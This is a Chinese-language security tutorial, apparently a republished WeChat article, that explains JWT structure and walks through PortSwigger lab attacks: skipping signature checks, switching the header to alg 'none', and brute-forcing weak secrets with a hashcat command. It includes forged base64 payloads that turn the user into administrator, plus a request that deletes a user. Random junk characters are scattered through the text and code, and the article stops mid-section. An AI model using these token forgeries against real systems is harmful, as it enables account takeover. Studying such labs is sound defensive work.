干货 | JWT渗透姿势一篇通

admin

, {: V* f+ ?% Z! H3 U& n8 O4 M 干货 | JWT渗透姿势一篇通

9 q3 W5 J& v2 f. F5 L: _) v 渗透安全团队 2023-10-20 00:00 湖北 J K; s( b: z, F5 N( P( G

5 a& t3 D8 \) q" ~/ x/ Z" L 文章前言

+ \# e- m9 S# \! s/ z5 S! J

由于微信公众号推送机制改变了，快来星标不再迷路，谢谢大家！
. m/ H4 D; G, p6 ~% W

/ t$ V5 C$ G" b# x# g( ?

, S& t! n2 h* [' _& E. S 3 M9 F9 q8 }& ~% C( |2 K8 U

8 n7 R3 d: X* f% |

. S/ W6 E! F# k/ s S2 g 企业内部产品应用使用JWT作为用户的身份认证方式，在对应用评估时发现了新的关于JWT的会话安全带来的安全问题，后期再整理时又加入了之前遗留的部分JWT安全问题，至此汇总成一篇完整的JWT文章 % f4 B- W& O f5 V% D3 K- ~6 W2 e

: S5 V {% g: x" `

简单介绍

JWT(JSON Web Token)是一种用于身份认证和授权的开放标准，它通过在网络应用间传递被加密的JSON数据来安全地传输信息使得身份验证和授权变得更加简单和安全，JWT对于渗透测试人员而言可能是一种非常吸引人的攻击途径，因为它们不仅是让你获得无限访问权限的关键而且还被视为隐藏了通往以下特权的途径，例如:特权升级、信息泄露、SQLi、XSS、SSRF、RCE、LFI等 2 K! Z+ y4 j) n. A, W

# s2 e# f% ^/ s* f) T 基础概念 " w6 m+ K; Z g5 g7 [, \

! H2 u+ t2 J2 G( z, G& n6 g$ Q

• JWS：Signed JWT，签名过的JWT . C1 y8 n1 a" [; P- i0 x
/ h- H" N" r, ]/ x/ J( |" l: |3 w
• JWK：JWT的密钥，也就是我们常说的SECRET / B* |- W1 P1 X
• 9 J5 ?# w9 o' t; ?* v) K JWE：Encrypted JWT部分payload经过加密的JWT . `/ f! i4 J3 H, l+ B7 x- Q- h
• E/ p5 A H% H; s) D4 w4 |$ }3 ? JKU：JKU(JSON Web Key Set URL)是JWT Header中的一个字段，字段内容是一个URI，该URI用于指定用于验证令牌秘钥的服务器，该服务器用于回复JWK / `; D& H6 ~# d Q8 @
0 m( _7 y3 R9 e5 G4 [+ {
• X5U：X5U是JWT Header中的一个字段，指向一组X509公共证书的URL，与JKU功能类似 % O3 o8 g( l O6 ~2 Z
• X.509标准：X.509标准是密码学里公钥证书的格式标准，包括TLS/SSL(WWW万维网安全浏览的基石)在内的众多Internet协议都应用了X.509证书） ! n( B3 J3 I4 {# W) r8 c

0 i* B1 o! Y2 d r5 L2 Q

7 Y+ C P1 W g; A2 @3 D 基本结构

s; L' C% l) N7 d: f

JWT(JSON Web Token)的结构由三部分组成，分别是Header、Payload和Signature，下面是每一部分的详细介绍和示例：

4 b2 d9 y9 D0 X9 V+ ^' w

Header 1 l7 L$ P& O# f8 K6 I

3 k. J! w% F7 L0 A, P- x

Header包含了JWT使用的算法和类型等元数据信息，通常使用JSON对象表示并使用Base64编码，Header中包含两个字段：alg和typ
alg(algorithm)：指定了使用的加密算法，常见的有HMAC、RSA和ECDSA等算法
8 N8 s9 Q: I# Q- _8 ]( ~5 K9 \typ(type)：指定了JWT的类型，通常为JWT

- z/ z ^$ @! y' Z5 r! c+ }- n 下面是一个示例Header： : P! }$ t- u- B$ N& n _; K; H

5 k! P7 k0 P! X4 \ V

! i8 z6 R) }- A/ x5 h {
+ K# p# d- ?* p) j% s  "alg": "HS256",
  "typ": "JWT"
}

其中alg指定了使用HMAC-SHA256算法进行签名，typ指定了JWT的类型为JWT # V" m$ n4 d* j- w' ^

q6 C8 L3 {0 e4 f+ i2 d- K7 [ O

f* h( n( U9 i* {% d8 V6 b$ \/ o Payload % K, z8 L; G2 M. T2 b5 c0 _4 B* s

- _: S' ^2 a: P6 U

Payload包含了JWT的主要信息，通常使用JSON对象表示并使用Base64编码，Payload中包含三个类型的字段：注册声明、公共声明和私有声明 & M x t7 g/ N1 z* S

, t' F/ i u: Z8 F3 T

/ R) C7 A F6 c Y" c/ O) q
• 4 B y( W: W% V/ H. s 公共声明(Public Claims)：是自定义的字段，用于传递非敏感信息，例如:用户ID、角色等
% a# B4 n( |/ P8 }4 e( y- l1 a. e
• , s G: u( {" n! T$ a 私有声明(Private Claims)：是自定义的字段，用于传递敏感信息，例如密码、信用卡号等 * n( d4 j1 h; G4 ~/ q, m
' o" A# n" v% v/ y' G# [) f
• 4 g6 Q1 ~$ c+ t' k 注册声明(Registered Claims)：预定义的标准字段，包含了一些JWT的元数据信息，例如:发行者、过期时间等
4 N- |+ e2 P* y* d I

5 i' B% S/ u" C8 g 下面是一个示例Payload：

4 |9 s( O( ^: {) c& \) W

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

其中sub表示主题，name表示名称，iat表示JWT的签发时间 3 @4 p+ N! k" r/ d5 X

Signature 0 h. F" e B2 p4 V, l( b& D7 a& W

& P q$ X! V9 J! G' f Signature是使用指定算法对Header和Payload进行签名生成的，用于验证JWT的完整性和真实性，Signature的生成方式通常是将Header和Payload连接起来然后使用指定算法对其进行签名，最终将签名结果与Header和Payload一起组成JWT，Signature的生成和验证需要使用相同的密钥，下面是一个示例Signature 5 F) j9 C7 ?# S N9 I8 `

+ D; f* | M3 y8 ? w9 [

$ n, n2 M; o" c( ]1 s& K$ A

! r& i: O% [$ N; P6 D HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret) 2 a9 j3 }7 _3 G6 |8 n9 {

9 ]. U B1 N) g) D7 g6 q

3 d0 P: {0 N' r 其中HMACSHA256是使用HMAC SHA256算法进行签名，header和payload是经过Base64编码的Header和Payload，secret是用于签名和验证的密钥，最终将Header、Payload和Signature连接起来用句点(.)分隔就形成了一个完整的JWT，下面是一个示例JWT，其中第一部分是Header，第二部分是Payload，第三部分是Signature，注意JWT 中的每一部分都是经过Base64编码的，但并不是加密的，因此JWT中的信息是可以被解密的 7 M$ B; {& }; X% m4 p

9 n3 }' x- W+ ^- v

- i7 O7 }' r+ b eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
; Q' \4 h$ Y1 [4 Z+ {, e5 zeyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
6 W* }9 T9 [8 j) B" Z% w: z, t7 ASflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

2 Q. s: p! A- F7 O2 b/ l

在线平台 , M7 o/ Y, I# N: A1 B" K

下面是一个JWT在线构造和解构的平台：
6 f0 e- f& o: ^+ J0 b6 Ohttps://jwt.io/

3 U- J5 G* b. ?$ B7 \- N5 [8 h6 r# | 6 o z8 x3 {0 x: y5 G' C9 @' ~; a

工作原理 / d- p/ _+ V% W% i: E1 Y

" j2 h; O9 T! h- i JWT工作原理

JWT的工作流程如下： ; Y: o: Z7 O7 v, A6 z! x3 k1 X6 k2 A

- c! l b1 h$ m1 O( B* O

• 4 {( F! \" X! ?% \. U) s) G 用户在客户端登录并将登录信息发送给服务器 & o% F" u/ m& m4 U8 d" m: d
• 2 [2 G9 y: g* c8 o, |3 W 服务器使用私钥对用户信息进行加密生成JWT并将其发送给客户端
• 客户端将JWT存储在本地，每次向服务器发送请求时携带JWT进行认证 * \ u. l; k1 k7 Z& s% g+ O) I
5 n0 {( N2 d' @1 F8 J3 N+ h
• ! U) A- G/ u' ?, w% \ 服务器使用公钥对JWT进行解密和验证，根据JWT中的信息进行身份验证和授权 * s* H, ~6 [3 O4 h5 I5 v
• & L/ B' Z. G, r8 L6 L t 服务器处理请求并返回响应，客户端根据响应进行相应的操作

& @; i9 c6 ]% }$ P6 v JKU工作原理

Step 1：用户携带JWS(带有签名的JWT)访问应用 `, ^6 }1 y% }% C

1 F0 a S9 A3 X7 s' N; P

Step 2：应用程序解码JWS得到JKU字段

Step 3：应用根据JKU访问返回JWK的服务器

* X/ Y+ _7 c# }% G! W/ T

Step 4：应用程序得到JWK & G' X( \: D1 b) h

' P: J7 _ G X 4 A' @7 X( x/ V, q

; z% v+ o5 j: D

3 l7 s! J$ W' N( G; O Step 5：使用JWK验证用户JWS ! L) c' v1 h8 c6 R1 z

4 J' b( Q& Y2 s5 B' w( v

) t2 z* ^! T- k7 N" K1 j3 V7 F$ c

Step 6：验证通过则正常响应

, d% Q2 W4 m) d/ _

7 a( Y/ U# a) Q8 o( L

6 {" u: J- q3 d2 r3 O; V

漏洞攻防 / s. r, t3 I! q/ ?

签名未校验

验证过程

JWT(JSON Web Token)的签名验证过程主要包括以下几个步骤： 9 V. R' Q* I5 h- D& |0 Z8 x0 [8 D

U1 Z5 q P; Q) x5 P/ z# s) E1 `, ?

• / ^6 J! K1 A8 M) Y- e 分离解构：JWT的Header和Payload是通过句点(.)分隔的，因此需要将JWT按照句点分隔符进行分离 & F G, k5 p& Z7 a* g3 {/ E/ m
• 2 y: T0 O7 y8 G7 }% @7 n- T n. u2 U$ I2 N 验证签名：通过使用指定算法对Header和Payload进行签名生成签名结果，然后将签名结果与JWT中的签名部分进行比较，如果两者相同则说明JWT的签名是有效的，否则说明JWT的签名是无效的 7 W9 j- ]' J8 Z% J4 l- a
1 O8 O1 @" [5 y* I
• ! ?0 }9 s% N: H6 `+ C. a2 _1 _ 验证信息：如果JWT的签名是有效的则需要对Payload中的信息进行验证，例如:可以验证JWT中的过期时间、发行者等信息是否正确，如果验证失败则说明JWT是无效的
& y9 _0 i$ O2 B+ d( i& [

. g! k; q3 B$ ^

" e. Y) g2 U9 C8 ^- w; p3 v 下面是一个使用JAVA进行JWT签名验证的示例代码：

! @" Z/ l" d( ?. @3 ~! ^

; o J) B# l9 W" t2 h$ V: M

4 r1 h! O% z. h9 @1 a: G import io.jsonwebtoken.Claims;
, B1 x+ Q3 x3 n' y2 v* [0 {$ oimport io.jsonwebtoken.Jwts;
5 C: ^* y ^! k; w" Fimport io.jsonwebtoken.SignatureAlgorithm;

import java.util.Date;

public class JWTExample {

; T% @. f: N/ k    private static final String SECRET_KEY = "my_secret_key";
, `: e( H) k9 m
    public static void main(String[] args) {
        // 构建 JWT
0 `4 O) J# f, h ^        String jwtToken = Jwts.builder()
: V. G: g8 x" ?- b, a                .setSubject("1234567890")
                .claim("name", "John Doe")
                .setIssuedAt(new Date())
                .setExpiration(new Date(System.currentTimeMillis() + 3600000)) // 1 hour
                .signWith(SignatureAlgorithm.HS256, SECRET_KEY)
$ C i. C, d# k. ~                .compact();

        // 验证 JWT
2 {& w. _( i1 w/ G1 f        try {
! [+ K$ S+ F$ l            // 分离 Header, Payload 和 Signature
            String[] jwtParts = jwtToken.split("\\.");
5 L I3 ^8 o" L9 E6 [; v9 i            String header = jwtParts[0];
7 A- T* Y4 C+ P' T+ \            String payload = jwtParts[1];
% S$ Y8 M6 }4 ~; E' B$ {9 z# A            String signature = jwtParts[2];
; ]! d+ \+ {) \
            // 验证签名
            String expectedSignature = Jwts.parser()
                    .setSigningKey(SECRET_KEY)
. u# N5 c* H& ^+ c1 b                    .parseClaimsJws(jwtToken)
                    .getSignature();
            if (!signature.equals(expectedSignature)) {
                throw new RuntimeException("Invalid JWT signature");
            }
% y x' T5 o# l3 c, M, u
            // 验证 Payload 中的信息
4 |% N- `2 E+ W0 Q            Claims claims = Jwts.parser()
4 c; u# ]! Z/ w0 ~3 }* e* Q5 e                    .setSigningKey(SECRET_KEY)
                    .parseClaimsJws(jwtToken)
                    .getBody();
3 F+ B2 e+ G) o7 s* A' {% ]" e* j            System.out.println("Valid JWT");
        } catch (Exception e) {
$ Z. [8 }* C4 C7 u. F( S ]            System.out.println("Invalid JWT: " + e.getMessage());
        }
* X" O; O7 O7 i4 L1 Q$ s- X X    }
( H! _3 b( i" D4 d+ N5 @+ X}

* q7 ~4 z1 B6 y5 o

% Z4 L& `7 Y. _

. z% z7 ?$ B( K8 z! N. z; B3 ~ 在上面的示例代码中使用jwt库进行JWT的签名和验证，首先构建了一个JWT，然后将其分离为Header、Payload和Signature三部分，使用parseClaimsJws函数对JWT进行解析和验证，从而获取其中的Payload中的信息并进行验证，最后如果解析和验证成功，则说明JWT是有效的，否则说明JWT是无效的，在实际应用中应该将SECRET_KEY替换为应用程序的密钥

& H: g. O7 p1 v0 E5 s- t7 V/ c" I

& [. r+ _9 ?% V. b1 s# r0 @* g 漏洞案例 ! F! y% i/ B! x0 y- x6 T1 S

JWT库会通常提供一种验证令牌的方法和一种解码令牌的方法，比如:Node.js库jsonwebtoken有verify()和decode()，有时开发人员会混淆这两种方法，只将传入的令牌传递给decode()方法，这意味着应用程序根本不验证签名，而我们下面的使用则是一个基于JWT的机制来处理会话，由于实现缺陷服务器不会验证它收到的任何JWT的签名，如果要解答实验问题，您需要修改会话令牌以访问位于/admin的管理面板然后删除用户carlos，您可以使用以下凭据登录自己的帐户:wiener:peter
靶场地址：https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature

; y2 w7 g" K$ k* q

+ y. s* c; | j; q. l. J

演示步骤：
/ G( s p4 f- d& UStep 1：点击上方的"Access the Lab"访问靶场并登录账户

/ V* X0 N @/ z, `, r3 R# Z5 W6 R

8 j2 C, n. |$ S5 Q q' Q Step 2：进入到Web界面并登录靶场账户

: E' n. y2 f+ z: }5 C

wiener:peter

& V0 x6 e) _9 @) H: F. a) ^

0 d+ q2 F' s+ M0 L& Y0 e9 k/ F

5 N$ |+ Q8 a/ ~5 t0 ~" z

9 o0 R5 D- C4 f; S: X# | }

登录之后会看到如下一个更新邮箱的界面 ! @% _; A$ k6 E) q, ]0 ?9 O

& v4 R7 |5 w$ s

; n- p0 b# `5 Z- i3 G

Step 3：此时在我们的burpsuite中我们可以看到如下的会话信息 - ?8 W+ B: P3 l2 ?0 c

0 N" p4 M1 I% g

! |/ y9 [; @: N! W5 r ' d9 h u) f6 b3 X0 `2 z

# O. i# o: K' @! `# A' q6 ]

此时查询当前用户可以看到会显示当前用户为wiener： + \5 t5 @, ?: R! R- `6 t

! h! | I+ E6 ^7 h m6 j

# U; R" p, y1 V4 {5 ~2 I7 C. y; l

截取上面中间一部分base64编码的部分更改上面的sub为"administrator"

% d" H- h$ L3 R. Q" q- a

eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5MDA4M30 3 e3 W: {, u2 @+ D4 Y+ v( k

7 e! I' h; ]# o; F) p7 R& w* ?1 Z

. Z0 v6 R ]0 \" \) x E  

1 J4 ^# }" }$ @ y# Z* X 构造一个sub为"administrator"的载荷并将其进行base64编码处理： , q* w& t f: b" @7 [# r) ]+ G

1 Q( |1 D% C7 D) g& |) G9 _0 F

1 O7 }4 U" l. }1 O8 T M eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTAwODN9 . s( t/ Y o# r

( w5 y: S8 W! y' {; o% A

" i* E8 S. s. w' @6 @

* B$ E7 L8 ^+ V" w# c

6 s7 U k0 [. I; T! w; A; { 替换之后重新发送请求：

. T' [+ D5 Z0 D: }2 [

1 P, z% |. l+ o: k * W3 n$ H3 E! w& y% }

按照题目要求访问/admin路径，发现两个删除用户的调用接口：

7 n7 R% B) j3 a* G

+ |/ _2 H$ ]7 L2 G, Y' J* G6 T 3 z1 h% Y) v- s, {5 y H4 m

# C& i( x% d3 _8 N/ p. a

0 F* L7 m8 f! e 请求敏感链接——删除用户carlos

- O+ M* c6 ~! _0 t

$ T5 z7 @7 E A/ A0 Z" {0 L

4 X7 ]- Z( O( { b# F GET /admin/delete?username=carlos HTTP/1.1

: r8 n8 X1 }! ^6 I: A( L6 |

2 R( z+ ]/ J; h4 M

: V2 B7 c0 `; z9 U9 g' J& u

2 V; l; U p# H6 m0 r1 B7 W 完成靶场的解答： @/ K* f, |" R1 K* b

+ Z' y$ v& }: e) J9 N c# o

- B$ q/ `8 _1 K% Y( H. N2 p

签名用None ; x i' p$ {7 o9 m* ]9 K9 a, ?. k

- \+ M' c) R: a, T7 x1 y' i

场景介绍

) e$ }+ j: ]& w

3 l( o4 ]$ _1 ?8 ~9 l 在JWT的Header中alg的值用于告诉服务器使用哪种算法对令牌进行签名，从而告诉服务器在验证签名时需要使用哪种算法，目前可以选择HS256，即HMAC和SHA256，JWT同时也支持将算法设定为"None"，如果"alg"字段设为"None"，则标识不签名，这样一来任何token都是有效的，设定该功能的最初目的是为了方便调试，但是若不在生产环境中关闭该功能，攻击者可以通过将alg字段设置为"None"来伪造他们想要的任何token，接着便可以使用伪造的token冒充任意用户登陆网站

{
    "alg": "none",
3 X2 e( ]8 a" W) v/ I' ~* y    "typ": "JWT"
! t! \- a, M% e0 |: R9 I. f3 u J}

) m/ D5 F' I( A

( n% N# N3 {0 B* j 漏洞案例

/ e# u e( j+ k* Y9 `+ g" M 实验靶场：https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification

4 F1 D/ q1 |& Q! U7 }* H# ^3 Q& [ 实验流程：
2 X! P e6 [4 jStep 1：点击上方的"Access the lab"访问靶场环境
https://0a9c00a8030ba77784d7b92d ... curity-academy.net/

1 y* N* |5 t4 {6 {6 d! c; y) c. `

. N9 F2 \* }* q* M( f. @% W Step 2：使用账户密码进行登录 ( ^# l9 p* P! V4 s% e

' e' f6 }6 D5 }& Y) b

+ [0 D2 @8 s; @; g; A& T) f wiener:peter

- d. l; c( k' q4 O& k7 J3 `

- ~# t' M4 z8 Q5 F+ P3 p/ D

6 D% q% E; `+ i) R5 x2 [ Step 3：登录之后可以看到如下界面

: `) U& ~+ G# D7 ~

Step 4：捕获到的数据报信息如下所示

8 a) {! G$ l+ P5 `5 |3 [

7 n! k% k) ?0 p5 }/ k6 I $ [& U& C) H; Y& {

截取JWT的第二部分对其进行base64解码: . `" b! N) i+ I! [& ~

1 ~" u* g! L3 `* D/ k: T eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5MzQ5M30

) z5 Q# ?3 y6 z! V" f9 ^+ {$ z

4 v( u& V7 s9 a& h ( i1 ~5 V% V) g+ l# _% T0 D- N1 B4 _$ Z

3 w& C' v! M R- N: J/ Z9 P4 P& _1 _

& m' v8 y. T) @; I( D# I6 X% m6 w5 p 将上述的sub字段值更改为"administrator" 8 {- K/ L* e! {1 G

# s& i% e3 x4 G3 [7 ?) e3 s

8 M( s3 {4 K1 D! F eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTM0OTN9 ; @) d& T$ E# u

% w5 O' q/ F+ p% Y9 b

o! O2 c) }. ` @ & K+ r ]5 Y: N$ j( ]: o: U

Step 4：在使用wiener用户的凭据访问/admin是会提示401 Unauthorized $ b9 ?" v( L; U1 J- K7 l

c+ k- [: s8 p1 ]$ W2 j- V8 f' X

, N+ | M) @% I$ E6 h

: h" b7 y- `( c Step 5：将第一步分的alg参数改为none ! X1 N8 A) T8 }

eyJraWQiOiIyNmNlNGNmMi0wYjFhLTQzZTUtOWYzNy1kOTA2ZjkxZmY2MzkiLCJhbGciOiJSUzI1NiJ9

$ H7 w, s! [ W& ]" x& h7 G+ Q* q

! a1 H6 A* o: b7 D

更改之后的header部分：

eyJraWQiOiIyNmNlNGNmMi0wYjFhLTQzZTUtOWYzNy1kOTA2ZjkxZmY2MzkiLCJhbGciOiJub25lIn0= % \* ]% R6 w h' V/ K* [

/ a4 a2 O: D9 q B9 R3 C5 P

' v# y$ u1 ]* z+ R& S3 [' D ; y1 H, k# d$ Y$ X; X9 V

* g9 e5 E' H8 J, W

替换JWT Token中的第二部分为之前我们构造的信息，同时移除签名部分，再次请求数据获取到敏感数据链接 . W3 E3 |% ^' l0 s* f0 l

2 D( u) ~5 x: i+ j1 T5 E6 |7 O

3 J- ~/ ^2 y3 h; E7 \

7 m9 X8 i& Y; |" g

调用敏感链接移除用户信息，完成解题操作：

9 o9 s7 U2 ~. y/ Q; p/ U

4 L% r0 E+ q/ L 密钥暴力猜解

4 m% q( ?& N/ \

密钥介绍

0 `0 g. k& u7 `; n: o9 h

7 a, G+ F4 B6 H% u v5 \; c) W 在JT中密钥用于生成和验证签名，因此密钥的安全性对JWT的安全性至关重要，一般来说JWT有以下两种类型的密钥：

• 对称密钥：对称密钥是一种使用相同的密钥进行加密和解密的加密算法，在JWT中使用对称密钥来生成和验证签名，因此密钥必须保密，只有发送方和接收方知道，由于对称密钥的安全性取决于密钥的保密性，因此需要采取一些措施来保护它 ! _6 Z9 S6 x: b: Z: @, B6 h) e
8 ?) V( ?+ O: U! p! r$ o
• 非对称密钥：非对称密钥使用公钥和私钥来加密和解密数据，在JWT中使用私钥生成签名，而使用公钥验证签名，由于公钥可以公开，因此非对称密钥通常用于验证方的身份 4 S+ E$ r# n* E
/ w6 j, D" G, x# B9 b

7 L9 m9 Z7 C1 X" j+ { 下面是一个使用JWT和对称密钥的JAVA示例代码：

% U6 j' A! c5 n1 \" s" S2 q

7 f: h# Z5 I1 y& I, B import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
* S0 [$ v$ y8 ?import java.util.Date;
2 @. a0 ~: y+ j, M' R
9 p8 i( y+ u) Y6 ]public class JWTExample {
    private static final String SECRET_KEY = "mysecretkey"; // 设置密钥

    public static void main(String[] args) {
% `: X$ [- q! T7 n        String token = createJWT("123456"); // 生成JWT
8 g. P- d7 F% O) a8 Q$ Z. b7 i/ e3 ]        System.out.println(token);
        String result = parseJWT(token); // 验证JWT
        System.out.println(result);
& @" }. t; ~3 K" x6 m7 Q+ `    }

    public static String createJWT(String id) {
z2 K" B8 E6 L% k+ E. ?/ m& c        // 设置JWT过期时间为1小时
, ^0 t9 G( F( D, n0 Y7 S5 ]9 I        long nowMillis = System.currentTimeMillis();
        Date now = new Date(nowMillis);
0 I1 t* F1 L3 A2 v6 y3 o0 M9 u        long expMillis = nowMillis + 3600000; // 1小时
        Date exp = new Date(expMillis);
" M4 f# e, }1 d$ U$ i- d5 p- X( |
        // 生成JWT
0 J" o! g( B" ]2 E7 q( X0 \! G8 [# q        String token = Jwts.builder()
            .setId(id)
            .setIssuer("issuer")
            .setSubject("subject")
            .setIssuedAt(now)
            .setExpiration(exp)
            .signWith(SignatureAlgorithm.HS256, SECRET_KEY)
# v9 E; l3 q$ v" a6 u( L! a% l( j, r            .compact();
7 ]$ I; E- T# {( w' g& t" Z        return token;
. _" y9 m% b4 @- m8 v7 k6 t    }

    public static String parseJWT(String token) {
$ u! K4 C5 m0 b" D; p) ~% g        // 验证JWT是否合法
) V7 M+ F9 ]4 F- h4 p        String result = "";
        try {
0 g- C+ F7 c# n" q, l2 j            result = Jwts.parser()
/ G/ B) `- a* k8 \8 K3 E                .setSigningKey(SECRET_KEY)
                .parseClaimsJws(token)
, s- m* j1 t O9 H. e                .getBody()
# B: p! F. }8 ?/ D$ r                .getId();
" e; ~1 _1 j" T f. c        } catch (Exception e) {
            e.printStackTrace();
        }
        return result;
    }
} * t$ |! A/ O0 T( }3 y

下面是一个使用JWT和非对称密钥的Java示例代码，代码中使用了RSA算法生成非对称密钥对：

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.security.Keys;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
# E, P6 w6 F& v' }- h5 ]2 h! Mimport java.security.NoSuchAlgorithmException;
( a% j* g. D. D# B0 g( k# ^import java.security.PrivateKey;
3 J+ v9 \ {# l' Kimport java.security.PublicKey;
2 h5 G a7 U+ z( H0 r) rimport java.util.Date;
% `/ C2 M" z n
4 w0 z4 \1 P! ?+ K" u* `, `: s8 Npublic class JWTExample {
    private static final String ISSUER = "example.com";
/ o5 R( g& w9 a7 E1 h) i3 F    private static final String SUBJECT = "user@example.com";
7 K- S3 v0 G. [$ g4 {" B
8 u8 E8 G. P1 H    public static void main(String[] args) throws Exception {
b/ u% U }9 v( M2 z9 y        KeyPair keyPair = generateKeyPair();

        String token = createJWT(ISSUER, SUBJECT, keyPair.getPrivate());
        System.out.println(token);

( V X \4 R6 k3 o6 R        Claims claims = parseJWT(token, keyPair.getPublic());
        System.out.println(claims.getIssuer());
        System.out.println(claims.getSubject());
    }

: n \2 C: }3 S3 j    public static String createJWT(String issuer, String subject, PrivateKey privateKey) {
0 x2 ]0 h& C: x t6 H0 m        Date now = new Date();
        Date expiration = new Date(now.getTime() + 3600 * 1000); // 1 hour

        return Jwts.builder()
            .setIssuer(issuer)
            .setSubject(subject)
8 O+ N* C; G# i5 z2 X n# Y            .setIssuedAt(now)
            .setExpiration(expiration)
N+ _; I! s/ l) B& l* t5 S# k5 B            .signWith(privateKey, SignatureAlgorithm.RS256)
5 T+ t+ a( d: R' D0 ]            .compact();
    }
0 |' P7 G$ b' `. ^
; c1 s, K! F1 `7 [( ^, e' T, O    public static Claims parseJWT(String token, PublicKey publicKey) {
        return Jwts.parserBuilder()
e5 N" h* k* `            .setSigningKey(publicKey)
' r2 e* ~5 X5 u! o            .build()
            .parseClaimsJws(token)
            .getBody();
4 j" ~9 A4 C9 W# ^. r    }

4 e; C$ e. D# A+ n: y# ~    public static KeyPair generateKeyPair() throws NoSuchAlgorithmException {
* ^1 N# ]( p$ E. X1 Q3 n        KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
        generator.initialize(2048);
8 ^ S7 l' i6 E" J6 V p        return generator.generateKeyPair();
9 r) H5 r0 }1 g$ B3 j    }
, x7 W/ F" O% h- ?) l! X! \}

) A4 v/ V. R/ o: L. I! Y

0 h: J% g7 _" R3 v9 O. {

在这个示例中我们使用了Java中的KeyPairGenerator类来生成一个2048位的RSA密钥对，然后使用私钥生成JWT，使用公钥验证JWT，在创建JWT时我们设置了JWT的颁发者、主题、签发时间和过期时间并使用signWith()方法和SignatureAlgorithm.RS256算法使用私钥进行签名，在验证JWT时我们使用公钥来解析JWT并获取声明的内容，在实际的研发编码中我们一方面要妥善保管密钥，另一方面需要使用较为复杂难以被猜解的密钥作为密钥首选，例如：随机字母+数字的32位长度组合

. T6 V' M4 k% C# f; k4 K1 l

漏洞案例 5 A3 F3 b y8 A% ]% x: G! a

; v+ i7 p4 X' n1 d- Z 在实现JWT应用程序时，开发人员有时会犯一些错误，比如：忘记更改默认密码或占位符密码，他们甚至可能复制并粘贴他们在网上找到的代码片段然后忘记更改作为示例提供的硬编码秘密，在这种情况下攻击者使用众所周知的秘密的单词列表来暴力破解服务器的秘密是很容易的，下面是一个公开已知密钥列表：
9 ]9 k( M; A9 y! n ~https://github.com/wallarm/jwt-s ... er/jwt.secrets.list ( C1 p1 h6 J6 A

b3 g5 E/ M0 P a" K

在这里我们也建议使用hashcat来强力破解密钥，您可以手动安装hashcat，也可以在Kali Linux上使用预先安装好的hashcat，您只需要一个来自目标服务器的有效的、签名的JWT和一个众所周知的秘密的单词表然后就可以运行以下命令，将JWT和单词列表作为参数传入: 6 s" x9 }# ` l' p N* [

/ J+ m- Y* _& n& J- k& O

: U7 H/ a2 Q3 ?- F4 K" s. ? hashcat -a 0 -m 16500 <jwt> <wordlist>

# |. J. ^4 \* q; t& E

1 H9 S9 \" h; j7 [ Hashcat会使用单词列表中的每个密钥对来自JWT的报头和有效载荷进行签名，然后将结果签名与来自服务器的原始签名进行比较，如果有任何签名匹配，hashcat将按照以下格式输出识别出的秘密以及其他各种详细信息，由于hashcat在本地机器上运行不依赖于向服务器发送请求，所以这个过程非常快，即使使用一个巨大的单词表一旦您确定了密钥，您就可以使用它为任何JWT报头和有效载荷生成有效的签名

6 K+ O; m+ I& b: u' P; Q <jwt>:<identified-secret> . _# F* G* m8 h2 I. q

* }" j9 z" n& X2 `% n) p1 [+ `% Z

2 m& a3 v' i$ t; k8 ^9 ` 靶场地址：https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key

& [1 ^% B+ Q! i! c" O8 { 5 V4 R) y8 h4 F* Q$ t

' q) N* z; S7 F% v* X P 实验步骤：
Step 1：点击上述"Access the lab"进入到靶场环境

- @9 q3 l( [2 m; |4 E7 p7 [0 D! V

# t1 R, H& u! {9 E & }( g+ m% V6 F: x; T

Step 2：使用以下账户进行登录操作 7 ~7 S, \' n X: y3 x+ V2 b- e

$ e# |! G. Q& s. Y' P! } wiener:peter

1 l- E$ i1 V Q3 }3 }3 t, b

; ^* f4 f! ^$ M6 D

5 L: s- Y! D4 m9 V; f+ z

Step 3：捕获到如下有效的JWT凭据信息 2 x+ R% [" x! Q1 j' A* N

) ?4 f9 I x9 K: ?9 Q

eyJraWQiOiI4M2RhOGNjMi1hZmZiLTRmZGMtYWMwYS1iMWNmMTBkNjkyZGYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5NjQwMn0.IhZV-7RHTpEcQvkcZOA3knCYmQD0YUg-NFMj9fWSFjw

3 ?5 J( K+ H! a& p7 e

" y' q# U/ o* v" p8 m; ^ y

Y" k# S6 m; `" z1 r/ ^, _( d0 x

% S t6 ?7 M0 l$ k

0 x6 T! Z1 o3 \ X* T Step 5：使用字典进行暴力猜解操作

8 e+ `4 C4 m9 M7 w% Q

方式一：HashCat
+ e0 d: U) E8 ?1 r$ I项目地址：https://github.com/hashcat/hashcat
项目使用： " {9 @1 B- ]2 D' a# v" R5 q

( }$ l& p1 n g

5 B) |4 u: X) Y #命令格式：
# m" S1 e9 l& f; P( Ihashcat -a 0 -m 16500 <jwt> <wordlist>

- w0 c# `4 w) d* C) [4 W' g$ `6 S#执行示例：
